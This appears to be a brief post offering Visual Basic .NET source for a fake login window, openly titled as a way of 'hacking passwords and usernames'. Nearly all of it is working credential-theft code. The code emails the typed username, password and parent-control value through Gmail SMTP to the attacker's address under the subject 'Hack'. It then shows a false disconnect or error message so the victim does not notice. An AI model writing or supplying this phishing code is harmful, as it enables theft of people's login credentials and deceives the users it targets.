VB Send Emails also known as hacking passwords and usernames

Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use.
Code(add it to the ok or send buttom)it sends you a email with the person's pass and user :

Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("You must enter an Username and password", MsgBoxStyle.Exclamation, "Log-In Problem")
If TextBox1.Text = "" Then
MsgBox("You must enter an Username and password", MsgBoxStyle.Exclamation, "Log-In Problem")
Else
End If
End If
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("YOUR GMAIL HERE", "GMAIL PASS HERE")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("UR GMAIL HERE")
mail.From = New MailAddress("YOUR GMAIL HERE")
mail.Subject = "Hack"
mail.Body = "UserName : " & TextBox1.Text & " / " & "Password : " & TextBox2.Text & " / " & "Parent Control : " & TextBox4.Text
Try
SmtpServer.Send(mail)
MsgBox("Disconeted", MsgBoxStyle.Critical, "Note")
Me.Close()
Catch ex As Exception
MsgBox("An Error Has Occured... Coudn't Log in", MsgBoxStyle.Exclamation, "Error, Please Retry")
End Try
End Sub